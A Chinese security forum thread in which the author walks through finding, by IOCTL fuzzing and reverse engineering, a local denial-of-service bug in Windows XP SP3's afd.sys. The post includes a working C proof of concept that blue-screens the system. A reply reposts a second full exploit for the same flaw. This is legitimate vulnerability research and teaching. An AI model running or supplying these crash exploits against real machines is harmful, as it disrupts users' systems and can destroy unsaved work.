首页
社区
课程
招聘
[原创]WindowsXPSp3_AFD.sys_本地拒绝服务漏洞的挖掘过程
2013-3-17 15:22 10804

[原创]WindowsXPSp3_AFD.sys_本地拒绝服务漏洞的挖掘过程

2013-3-17 15:22
10804
这是本人第一次做漏洞挖掘,2月的时候开始研究漏洞挖掘技术,2月24号那天在进行Fuzz测试的时候偶然的发现了一个afd.sys未处理的异常,然后就对这个异常如获至宝的分析起来了,因为在上班,所以都是利用周末时间来进行,前前后后到加起来差不多5天时间。现在这个漏洞的原因以及低层次的利用已经全部完成,所以拿出来跟大家分享一下,虽然挖到现在只挖出了本地拒绝服务的用处,在如今0Day满天飞的年代这个Vulnerability的价值微乎其微,但是对于我个人来说意义很大,毕竟是第一次做漏洞分析,对于把分析问题的思路从工作惯性转向漏洞挖掘有不少帮助(我的工作平时接触最多的就是,栈,一天到晚就是抓栈,分析栈,也经常抓dump,分析dump,但是工作的目的不是挖掘漏洞,所以我要转型挖漏洞需要最大的改变就是工作时候的目的性)。好了,不废话了,下面把从最初发现这个漏洞到写出这篇文章的过程详细的写出来。

1  Fuzz发现afd.sys发生未处理的ExRaiseDatatypeMisalignment异常。 
Pic1
2  异常原因探究
上图圈起来的数据都是需要关注的,到这里,我们就要先看一看详细情况,首先看【栈】:
kd> kvn
 # ChildEBP RetAddr  Args to Child              
00 b19698cc 8060d5a4 8060d550 b1969a14 b246db47 nt!ExRaiseDatatypeMisalignment+0xa (FPO: [0,0,0])
01 b19698d8 b246db47 5fcaa03a 00000004 00000004 nt!ProbeForWrite+0x54 (FPO: [Non-Fpo])  //#
02 b1969a14 805768eb 821c45d0 00000001 00f3fd20 afd!AfdFastIoDeviceControl+0x4a9 (FPO: [Non-Fpo]) //#
03 b1969ac4 8056f4de 00000230 00000000 00000000 nt!IopXxxControlFile+0x261 (FPO: [Non-Fpo])
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for IOCTL_fuzzer.sys - 
04 b1969af8 b16dfed5 00000230 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) //#
WARNING: Stack unwind information not available. Following frames may be wrong.
05 b1969b8c b16e05c3 00000001 00000230 00000000 IOCTL_fuzzer+0x4ed5
06 b1969c80 b16e0b9b 00000001 824a4380 00000230 IOCTL_fuzzer+0x55c3
07 b1969d34 8053e658 00000230 000002c0 00000000 IOCTL_fuzzer+0x5b9b
08 b1969d34 7c92e514 00000230 000002c0 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ b1969d64)
09 00f3fce0 7c92d28a 719c7425 00000230 000002c0 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0a 00f3fce4 719c7425 00000230 000002c0 00000000 ntdll!ZwDeviceIoControlFile+0xc (FPO: [10,0,0]) //#
0b 00f3fe78 7c930041 00090718 000bb8e0 0000605d 0x719c7425
0c 00f3ff60 7c947bc5 00000000 000badc8 000bc038 ntdll!RtlFreeHeap+0x1e9 (FPO: [Non-Fpo])
0d 00f3ff74 7c947b9c 7c947ae9 00000000 000badc8 ntdll!RtlpApcCallout+0x11 (FPO: [Non-Fpo])
0e 00f3ffb4 7c80b729 00000000 00000000 00000000 ntdll!RtlpWorkerThread+0x87 (FPO: [Non-Fpo])
0f 00f3ffec 00000000 7c930250 00000000 00000000 0x7c80b729


从第1帧可以看到原来是ProbeForWrite函数抛出了Data misaligned - code 80000002这个异常。
难道是这个ProbeForWrite没有放在try/except块中么?(暂且不管),先看一下是什么参数导致了这个一场吧:
kd> .frame 1
01 b19698d8 b246db47 nt!ProbeForWrite+0x54
kd> dds b19698d8 L9
b19698d8  b1969a14
b19698dc  b246db47 afd!AfdFastIoDeviceControl+0x4a9
b19698e0  5fcaa03a  // Address
b19698e4  00000004  // Length
b19698e8  00000004  // Alignment
b19698ec  824182a0
b19698f0  821c45d0
b19698f4  b246b030 afd!AfdFastIoDispatch
b19698f8  00000000


可以看到是地址参数出了问题,0x5fcaa03a。那这个参数是从哪里来的呢?
我首先想到的是去对比NtDeviceIoControlFile传入的InputBuffer,那就去对比一下:
kd> .frame 4
04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a
kd> dds b1969af8 L10
b1969af8  b1969b8c
b1969afc  b16dfed5 IOCTL_fuzzer+0x4ed5
b1969b00  00000230  // FileHandle
b1969b04  00000000  // Event
b1969b08  00000000  // ApcRoutine
b1969b0c  00000000  // IoStatusBlock
b1969b10  00f3fd4c  // ApcContext
b1969b14  000120cf  // IoControlCode
b1969b18  00f3fd20  // InputBuffer
b1969b1c  0000002a  // InputBufferLength
b1969b20  00000000  // OutputBuffer
b1969b24  00000000  // OutputBufferLength
b1969b28  805738c1 nt!NtWriteFile+0x607
b1969b2c  b1969be8
b1969b30  b1969c84
b1969b34  805732ba nt!NtWriteFile


传入的InputBuffer并不是我们所期望的0x5fcaa03a,那怎么办?当然是看代码了!
漏洞挖掘是一项综合技能要求很高的技术,知识面越宽越好,为了解决问题能想出的办法越多越好。
漏洞挖掘终归是调试分析四个字,调试分析归结为两项大的技能点:动态调试,静态分析。
动态调试主要目的是发现、重现、验证问题,静态分析作为对调试时候的分析能力缺乏的一种补充,主要目的是发掘问题产生的原因。
因为Windbg在汇编代码的展示方面功能太单一,所以静态分析还是用IDA好了。
先算一下这个ProbeForWrite函数调用在afd.sys模块内的RVA,
kd> lm m afd*
start    end        module name
b2469000 b248ad00   afd        (pdb symbols)          f:\kernelsymbols\afd.pdb\5A0F2680051E40FCB82FED32C46BC9662\afd.pdb
kd> ?b246db47-b2469000
Evaluate expression: 19271 = 00004b47


0x00004b47就是我们要找的RVA了,然后拿出IDA,找到这个地址:

Pic2
接下来我们要做的就是回溯一下代码,看看这个参数的源头在哪里,因为这个Functino Chunk只有一个扇入,所以我们很容易向上找到这个ebp+30h的内容是如何设置的:
 
Pic3
上图中紫色的Chunk中红色框内的代码用C代码来表示就是
RtlCopyMemory(pDst, ebx, 0x24);

其中pDst的值为ebp-50h,而复制的长度为0x24,所以该函数执行完之后,从ebp-50h到ebp-2ch之间的内存都是从ebx处的内存中复制过来的。
其实在这里如果有意识的话,立刻就会想到ebx就是InputBuffer,如何确定这个推测?
最直观的就是通过调试时查看执行到里时ebx的值是否等于NtDeviceIoControlFile的参数InputBuffer,因为在异常发生在ProbeForWrite:
kd> .frame 4
04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a
kd> dds b1969af8 L10
b1969af8  b1969b8c
b1969afc  b16dfed5 IOCTL_fuzzer+0x4ed5
b1969b00  00000230  // FileHandle
b1969b04  00000000  // Event
b1969b08  00000000  // ApcRoutine
b1969b0c  00000000  // IoStatusBlock
b1969b10  00f3fd4c  // ApcContext
b1969b14  000120cf  // IoControlCode
b1969b18  00f3fd20  // InputBuffer
b1969b1c  0000002a  // InputBufferLength
b1969b20  00000000  // OutputBuffer
b1969b24  00000000  // OutputBufferLength
b1969b28  805738c1 nt!NtWriteFile+0x607
b1969b2c  b1969be8
b1969b30  b1969c84
b1969b34  805732ba nt!NtWriteFile
kd> ?ebx    // 这里只是恰好在发生异常的时候Ebx的值没有被改变,其他情况如果ebx的值被改变了的话,就需要重新启动调试,打好断点然后再查看。
Evaluate expression: 15990048 = 00f3fd20


为了进一步确认,我们还是把内存数据dump出来看看吧:
kd> dd 00f3fd20 LC
00f3fd20  89cf8909 bd625e8e 0a224464 7632e035
00f3fd30  c3de460d ecd5cffd ea3d8d76 cba3477a
00f3fd40  5fcaa03a 000bbbc0 000bbbc0 00000103
kd> .frame 2
02 b1969a14 805768eb afd!AfdFastIoDeviceControl+0x4a9
kd> dd b1969a14-0x50 LC
b19699c4  89cf8909 bd625e8e 0a224464 7632e035
b19699d4  c3de460d ecd5cffd ea3d8d76 cba3477a
b19699e4  5fcaa03a 00000000 e21c8460 822a52c0


这证明我们的猜测是没错的,那现在至少知道了触发这个异常所需要的数据:即InputBuffer+0x20处的一个DWORD会被当做用户空间地址去进行可写验证,但是却没有进行异常处理。
认真看文章的同学可能还发现了,在代码下面对ebp+0x34的值也进行了同样的操作,这就对应InputBuffer+0x1c处的DWORD。
刚才说了可以通过调试来找关联,当然也可以通过代码来静态分析其参数来源,我在做的时候因为现场丢失,所以大部分时间都是在静态分析代码。
关于找数据来源,当然是倒推代码执行路径来的方便,结合IDA的选择染色功能,找起来十分方便的,一点经验就是:使用IDA,屏幕越大越好!(每次用的时候都有种想把这14.1的本砸烂的冲动)
现在我们已经具有的关于这个异常的信息是:
IoCtlCode = 0x000120cf;
  DWORD InputBuffer[9] = 
  {
    0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 
    0x1,    // 关键值 在afd!afdFastDeviceIoControl中进行ProbeForWrite(x,4,4)
    0x1    // 关键值 在afd!afdFastDeviceIoControl中进行ProbeForWrite(x,4,4)
  };


后面呢,还需要一个FileHandle,少了这个DeviceIoControl无法找到目标,所以:
kd> .frame 4
04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a
kd> dds b1969af8 L10
b1969af8  b1969b8c
b1969afc  b16dfed5 IOCTL_fuzzer+0x4ed5
b1969b00  00000230
b1969b04  00000000
b1969b08  00000000
b1969b0c  00000000
b1969b10  00f3fd4c
b1969b14  000120cf
b1969b18  00f3fd20
b1969b1c  0000002a
b1969b20  00000000
b1969b24  00000000

kd> !handle 00000230      // 查看这个Hande的对象

PROCESS 8221dd08  SessionId: 0  Cid: 0544    Peb: 7ffdb000  ParentCid: 02d8
    DirBase: 0a2c01a0  ObjectTable: e16ea9d8  HandleCount: 171.
    Image: svchost.exe

Handle table at e21c8000 with 171 entries in use

0230: Object: 821c45d0  GrantedAccess: 0012019f (Inherit) Entry: e21c8460
Object: 821c45d0  Type: (825eb040) File
    ObjectHeader: 821c45b8 (old version)
        HandleCount: 1  PointerCount: 3
        Directory Object: 00000000  Name: \Endpoint {Afd}


kd> dt _FILE_OBJECT 821c45d0  
ntdll!_FILE_OBJECT
   +0x000 Type             : 0n5
   +0x002 Size             : 0n112
   +0x004 DeviceObject     : 0x824182a0 _DEVICE_OBJECT
   +0x008 Vpb              : (null) 
   +0x00c FsContext        : 0x822a52c0 Void
   +0x010 FsContext2       : (null) 
   +0x014 SectionObjectPointer : (null) 
   +0x018 PrivateCacheMap  : 0xffffffff Void
   +0x01c FinalStatus      : 0n0
   +0x020 RelatedFileObject : (null) 
   +0x024 LockOperation    : 0 ''
   +0x025 DeletePending    : 0 ''
   +0x026 ReadAccess       : 0 ''
   +0x027 WriteAccess      : 0 ''
   +0x028 DeleteAccess     : 0 ''
   +0x029 SharedRead       : 0 ''
   +0x02a SharedWrite      : 0 ''
   +0x02b SharedDelete     : 0 ''
   +0x02c Flags            : 0x40000
   +0x030 FileName         : _UNICODE_STRING "\Endpoint"
   +0x038 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x040 Waiters          : 0
   +0x044 Busy             : 0
   +0x048 LastLock         : (null) 
   +0x04c Lock             : _KEVENT
   +0x05c Event            : _KEVENT
   +0x06c CompletionContext : (null)


看起来是个Socket,到这里,漏洞的本地Ddos利用代码已经浮现在脑海了,于是就收拾现场,重新启动写了一个利用代码。
3  利用方法的探究
写Poc代码的时候Socket使用了TCP协议,可是把程序运行起来的时候并没有发生期望的BSOD.
可想而知,因为分析的过程跳过了很多步骤,从afd!AfdFastIoDeviceControl到nt!ProbeForWrite中间的过程完全被忽略了。
而有可能afd!AfdFastIoDeviceControl在中间的过程中做了很多参数检查,由于参数不符合所以程序分支就发生了变化,没有进入预期异常触发点。
无奈,只能继续分析程序执行流程,然后调试修正参数了。
关于这里的分析,我觉得我选择了一个不错的方法,因为我们要到达一个指定的代码片段,所以
1.  先倒推一条从目标代码到函数入口的最短路径,当然要避开明显的错误跳转,在IDA中用颜色A标明这条执行路径;
2.  调试自己的POC代码,找到现有POC代码执行的路径,在IDA中用颜色B标明这条执行路径;
3.  如果调试代码的执行路径和倒推出来的路径重复,就用B覆盖原先的颜色;
4.  如果调试代码的执行路径偏离了倒推出来的路径,那就分析代码查找跳转原因;
5.  修正第4步引起跳转的参数;
6.  然后重复2到5步,直到路径完全被B颜色覆盖。
我在操作过程中形成的颜色路径如下图:
 
Pic4
上图粉红色是倒推路径,紫色是执行时候的路径,我觉得这个方法比较有效。下面回到问题上来了,为什么Poc代码没有走正确的流程呢?
第一个原因在这里
 
Pic5
esi是什么东西呢?仍然用代码回溯找数据来源的方法,发现,esi是跟socket句柄有关,esi的值就是前面说的socket的FILE_OBJECT中的一个字段FsContext
我们来看一下,发生异常时候这里的值是什么,数据仍然使用前面所述的FILE_OBJECT中的值:
kd> dw 0x822a52c0 L8
822a52c0  afd1 0002 89af 001b 0011 0000 0010 0000


能触发异常的值是afd1,而我们写的Poc中确实afd2,应该想到这是因为Socket的类型不对,那怎么才能创建一个FsContext的第一个word是afd1的socket呢?
我采用了一个笨的方法,穷举,就是应用层不改变socket的类型,然后内核调试查看FsContext的内容,苦力活干完后发现:
SOCK_STREAM
1.创建后      afd0
2.连接后      afd2
3.BIND后    afd0
4.Listen后    afd4
还是很悲剧,没有出现afd1,然后就推测肯定跟协议类型有关了,于是果断换了一个SOCK_DGRAM的UDPsocket,终于这个地方可以顺利执行下去了。
可是后面仍然没有按照预期进入目标代码,经过颜色比对法,分析发现又一处判断:
 
Pic6
这里接着上面刚刚执行完的代码,那我们看看esi+2的地方:
kd> db 0x822a52c0 +2 L8
822a52c2  02 00 af 89 1b 00 11 00


预期需要0x02,而poc的值却是01,这个值是什么含义呢?经过上面的穷举方法之后,我不想再用那么笨的办法了。
因为这样下去效率太低,所以我决定网上层走走,看一看正常情况下代码流程是如何进入能够触发遗产的目标代码的。
先看加好符号文件的栈:
kd> kvn
 # ChildEBP RetAddr  Args to Child              
00 b1969398 804f8bad 00000003 80000002 00000000 nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
01 b19693e4 804f979a 00000003 00000000 c0400000 nt!KiBugCheckDebugBreak+0x19 (FPO: [Non-Fpo])
02 b19697c4 804f9cc5 00000050 80000002 00000000 nt!KeBugCheck2+0x574 (FPO: [Non-Fpo])
03 b19697e4 8051dc67 00000050 80000002 00000000 nt!KeBugCheckEx+0x1b (FPO: [Non-Fpo])
04 b1969844 80541554 00000000 80000002 00000000 nt!MmAccessFault+0x8e7 (FPO: [Non-Fpo])
05 b1969844 80000002 00000000 80000002 00000000 nt!KiTrap0E+0xcc (FPO: [0,0] TrapFrame @ b196985c)
WARNING: Frame IP not in any known module. Following frames may be wrong.
06 b19698cc 8060d5a4 8060d550 b1969a14 b246db47 0x80000002
07 b19698d8 b246db47 5fcaa03a 00000004 00000004 nt!ProbeForWrite+0x54 (FPO: [Non-Fpo])
08 b1969a14 805768eb 821c45d0 00000001 00f3fd20 afd!AfdFastIoDeviceControl+0x4a9 (FPO: [Non-Fpo])
09 b1969ac4 8056f4de 00000230 00000000 00000000 nt!IopXxxControlFile+0x261 (FPO: [Non-Fpo])
0a b1969af8 b16dfed5 00000230 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo])
0b b1969b8c b16e05c3 00000001 00000230 00000000 IOCTL_fuzzer+0x4ed5
0c b1969c80 b16e0b9b 00000001 824a4380 00000230 IOCTL_fuzzer+0x55c3
0d b1969d34 8053e658 00000230 000002c0 00000000 IOCTL_fuzzer+0x5b9b
0e b1969d34 7c92e514 00000230 000002c0 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ b1969d64)
0f 00f3fce0 7c92d28a 719c7425 00000230 000002c0 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
10 00f3fce4 719c7425 00000230 000002c0 00000000 ntdll!ZwDeviceIoControlFile+0xc (FPO: [10,0,0])
11 00f3fd84 75ba87f8 00000230 00f3fdb4 00f3fde4 mswsock!MSAFD_WSPRecvMsg+0x15f (FPO: [Non-Fpo])
12 00f3fe10 75ba2aa8 00000230 00f3fe74 00f3fe70 ssdpsrv!SocketReceive+0xcf (FPO: [Non-Fpo])
13 00f3fe8c 7c947e91 000bb8e0 000bad00 000badc8 ssdpsrv!SsdpNetProc+0xab (FPO: [Non-Fpo])
14 00f3fed8 7c94b0a1 75ba29fd 000bb8e0 000bad00 ntdll!RtlpWaitOrTimerCallout+0x73 (FPO: [Non-Fpo])
15 00f3fef8 7c947ac2 000badc8 7c99e440 000bc038 ntdll!RtlpAsyncWaitCallbackCompletion+0x25 (FPO: [Non-Fpo])
16 00f3ff40 7c947b03 7c94b07c 000badc8 00000000 ntdll!RtlpWorkerCallout+0x70 (FPO: [Non-Fpo])
17 00f3ff60 7c947bc5 00000000 000badc8 000bc038 ntdll!RtlpExecuteWorkerRequest+0x1a (FPO: [Non-Fpo])
18 00f3ff74 7c947b9c 7c947ae9 00000000 000badc8 ntdll!RtlpApcCallout+0x11 (FPO: [Non-Fpo])
19 00f3ffb4 7c80b729 00000000 00000000 00000000 ntdll!RtlpWorkerThread+0x87 (FPO: [Non-Fpo])
1a 00f3ffec 00000000 7c930250 00000000 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])


从栈中可以看到,整个代码都是从一个Timer回调中发起的。
通过最初的bugcheck我们看到进程是svchost.exe,结合栈中的ssdpsrv这个符号可以确定这个漏洞是SSDP Discovery服务中存在的。
那我们就来分析一下我们需要的这个socket类型到底什么类型:
用回溯代码的方法,从调用ntdll!ZwDeviceIoControlFile的地方向上找,最终找到了Socket实在ssdpsrv.dll中创建的。
用IDA分析ssdpsrv.dll,在其中搜索SsdpNetProc符号,然后查找引用:
 
Pic7
幸好只有一处引用,分析的工作量就大减了,然后跳过去分析,在ListenOnAllNetWork中有以下代码:
 
Pic8
可以看到程序是把用SsdpNetProc注册了一个等待事件回调,并且eax作为参数传入,那SsdpNetProc是怎么处理eax的呢?socket是否在SsdpNetProc中创建的呢?
进入SsdpNetProc分析,发下以下代码:
 
pic9
其中esi就是socket,代码回溯,找到esi其实是第一个参数加偏移0x4
75BA2A0B 058 mov     ebx, [ebp+arg_0]
75BA2A5B 060 mov     esi, [ebx+4]
代码中就一直使用了esi保存socket,这个不关心,因为知道了socket不是在SsdpNetProc创建的,那就继续回到ListenOnAllNetWork函数进行分析。
回溯查到eax+0x4的地址是何时赋值的。
 
Pic10
找到socket的值是从lpMem+0x20h处传入的,lpMem是一个全局变量,这说明socket的创建在再往上一帧的函数里完成的,同样找ListenOnAllNetWork的引用。
 
Pic11
有两处,但是我们根据符号的意义可知,初始化应该在SssdpMain函数中创建,所以继续跳入SssdpMain函数:
 
Pic12
但是SssdpMain函数可读性太差了,这时候要换个思路了,创建socket,一定是调用了socket函数,那我们看看一看ssdpsrv.dll的导入表,找找看所有引用socket的地方。
 
pic13
其实只有两处引用,然后分别在对这两个函数所在的函数查找引用,就会发现在SssdpMain函数中调用了GetNetworks函数,而后又调用了ListenOnAllNetWork函数,
所以推测可能在GetNetworks函数中完成了对lpMem+0x20h的赋值,然后对GetNetworks分析:
 
pic14
到这里其实已经知道了我们所需要的socket就是在SocketOpen函数中创建的,那就去看看是如何创建的吧:
 
Pic15
由以上分析可知创建一个UDP的socket,然后bind到一个地址就行了,所有的分析到这里就结束了,下面用我们所掌握的信息来写Poc代码,并进行验证。
4  Poc代码的编写
/*************************************************************\
 *
 * afd.sys LocalDDos proof of concept
 * tishion#163.com
 * 2013/03/17
 *
\*************************************************************/
#include <tchar.h>
#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "Ws2_32.lib")

void _tmain() 
{
  WSADATA wsaData;
  int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
  if (iResult != NO_ERROR)
  {
    _tprintf(_T("Error at WSAStartup()\n"));
  }


  SOCKET Socket;
  Socket = socket(AF_INET, SOCK_DGRAM, 0);
  if (Socket == INVALID_SOCKET) 
  {
    _tprintf(_T("Error at socket(): %ld\n"), WSAGetLastError());
    WSACleanup();
    return;
  }


  sockaddr_in service;
  service.sin_family = AF_INET;
  service.sin_addr.s_addr = inet_addr("127.0.0.1");
  service.sin_port = htons(27015);

  if (SOCKET_ERROR == bind(Socket, (SOCKADDR*) &service, sizeof(service))) 
  {
    _tprintf(_T("Error at bind(): %ld\n"), WSAGetLastError());
    closesocket(Socket);
    WSACleanup();
    return;
  }

  DWORD dwBytesReturned = 0;
  DWORD InputBuffer[9] = 
  {
    0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 
    0x1,  // 关键值 在afd!afdFastDeviceIoControl中把这个值传入ProbeForWrite(x,x,x)
    0x1    // 关键值 在afd!afdFastDeviceIoControl中把这个值传入ProbeForWrite(x,x,x)
  };

  BOOL bRet = DeviceIoControl((HANDLE)Socket, 0x000120cf, &InputBuffer, 0x24, NULL, 0, &dwBytesReturned, NULL);
  //////////////////////////////////////////////////////////////////////////
  // 后面的代码没机会执行了,因为已经BSOD了
  // 本着一个合格的程序员专业精神,还是把收尾工作的代码写好
  

  closesocket(Socket);
  WSACleanup();
  return;
}


看一下效果:)
 
pic 16
对这个漏洞的分析利用就到这里了,其实还可以继续挖掘,看看是否可以变成远程漏洞,因为这个漏洞是SSDP Server端的,并且触发过程是在SocketReceive函数中,所以应该会和Client端有一定联系。
后续挖掘的话,方法还是这些,只是时间和精力的问题了,希望这篇文章能给一些想进入漏洞挖掘这个领域的同学带来收获,即使很小。

***** Vulnerability Summary *****
Sytem Platform:  Windows XP With Serveice Pack 3 
Kernel Version:  NT 5.1.2600.5657
Module Name:  Afd.sys
Module Version: 5.1.2600.5657
Function: AfdFastIoDeviceControl
Device: \Afd\Endpoint
IoctlCode: 0x000120cf
Key : Create a socket with SOCK_DGRAM and bind it to the local hsot, any port. 
Call DeviceIoControl with the socket and set the value of Inputbuffer+0x20h or InputBuffer+0x1ch to a number that can not be divided with no remainder by 4.
Then you’ll get it.

下载这个帖子以及idb,poc: [2013-03-17][Windows XP SP3][Afd.sys][本地拒绝服务].zip

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞3
打赏
分享
最新回复 (30)
雪    币: 316
活跃值: (128)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
心如止境 2 2013-3-17 15:31
2
0
沙发,等待加精.
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
loongzyd 10 2013-3-17 15:37
3
0
坐等仙果= =
雪    币: 857
活跃值: (304)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
Vsbat 4 2013-3-17 15:45
4
0
楼主真给力~~~
雪    币: 1489
活跃值: (955)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 19 2013-3-17 16:31
5
0
加精了,谢谢楼主的分享
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
chaomeier 2013-3-17 16:58
6
0
佩服佩服,学习了
雪    币: 85328
活跃值: (198625)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
linhanshi 2013-3-17 17:41
7
0
Thanks for share.
雪    币: 76
活跃值: (114)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
liuganchao 2013-3-17 18:05
8
0
FUZZING工具求。
雪    币: 106
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
dEARMoON 2013-3-17 19:03
9
0
老外开源的,IOCTL FUZZER
雪    币: 496
活跃值: (281)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
tishion 9 2013-3-17 19:40
10
0
↓↓↓↓↓↓↓↓↓
雪    币: 589
活跃值: (119)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
promsied 4 2013-3-17 20:47
11
0
用这个方法Fuzz驱动效率太低了
雪    币: 257
活跃值: (67)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
AioliaSky 1 2013-3-17 21:13
12
0
嗯,看到了,这样就可以实现一个Ring3的BSOD是吧?
雪    币: 540
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
KiDebug 4 2013-3-17 22:19
13
0
http://www.exploit-db.com/exploits/17133/

////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit
// Author: Lufeng Li of Neusoft Corporation
// Vendor: www.microsoft.com
// Vulnerable: Windows xp sp3
//
/////////////////////////////////////////////////////////////////////////////
 
#include <stdio.h>
#include <Winsock2.h>
 
#pragma comment (lib, "ws2_32.lib")
 
BYTE buf[]={
0xac,0xfd,0xd3,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x20,0x00,0x00,0x00,0xe8,0xfd,0xd3,0x00,
0xb8,0xfd,0xd3,0x00,0xf8,0xfd,0xd3,0x00,0xc4,0xfd,
0xd3,0x00,0xcc,0xfd,0xd3,0x00};
 
int main( )
{
    WSADATA ws;
 
    SOCKET tcp_socket;
    struct sockaddr_in peer;
    ULONG  dwReturnSize;
 
    printf("\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n");
    printf("\t Create by Lufeng Li of Neusoft Corporation. \n\n");
 
    WSAStartup(0x0202,&ws);
 
    peer.sin_family = AF_INET;
    peer.sin_port = htons( 0x01bd );
    peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
 
    tcp_socket = socket(AF_INET, SOCK_DGRAM, 0);//SOCK_DGRAM
 
    if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
    {
        printf("connect error\n");
        exit(0);
    }
 
    DeviceIoControl( (HANDLE)tcp_socket,0x000120cf, buf,0x24,buf,0x24,&dwReturnSize, NULL);
     
    return TRUE;
}



微软在Probe时居然没try起来,哎。。。
雪    币: 2174
活跃值: (961)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Crakme 2013-3-17 22:20
14
0
分析过程很详细 感谢分享
雪    币: 496
活跃值: (281)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
tishion 9 2013-3-17 22:45
15
0
擦!果然是已知漏洞= =
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
instruder 4 2013-3-17 22:58
16
0
乍看以为新漏洞 其实xpsp3 的内核漏洞基本没啥找了 微软也不会补 除非明确执行代码的
雪    币: 289
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
阳雄俊 2013-3-18 00:46
17
0
分析很详细,谢谢楼主
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
MRShi 2013-3-18 09:25
18
0
占个位置学习
雪    币: 215
活跃值: (90)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
HelloCrack 2013-3-18 10:11
19
0
这个模块我就分析过11046和11080两个。就此顺便初步学了下内核知识、内核驱动的结构。
雪    币: 219
活跃值: (738)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
viphack 4 2013-3-18 13:45
20
0
mark ~~~~~
雪    币: 142
活跃值: (295)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
eGirlAsm 2013-3-18 14:50
21
0
现在很少有人用xp了吧
雪    币: 7814
活跃值: (2281)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
option 2013-3-18 18:11
22
0
我周围几乎全是XP
雪    币: 253
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
tangwenbin 1 2013-3-18 20:01
23
0
http://hi.baidu.com/azy0922/item/02a5e6da50cae4e7785daa7b
雪    币: 284
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
darkplayer 2013-3-18 20:14
24
0
好好学习该贴!
雪    币: 253
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
tangwenbin 1 2013-3-18 20:19
25
0
最近老v经常出现在感谢人群中~
游客
登录 | 注册 方可回帖
返回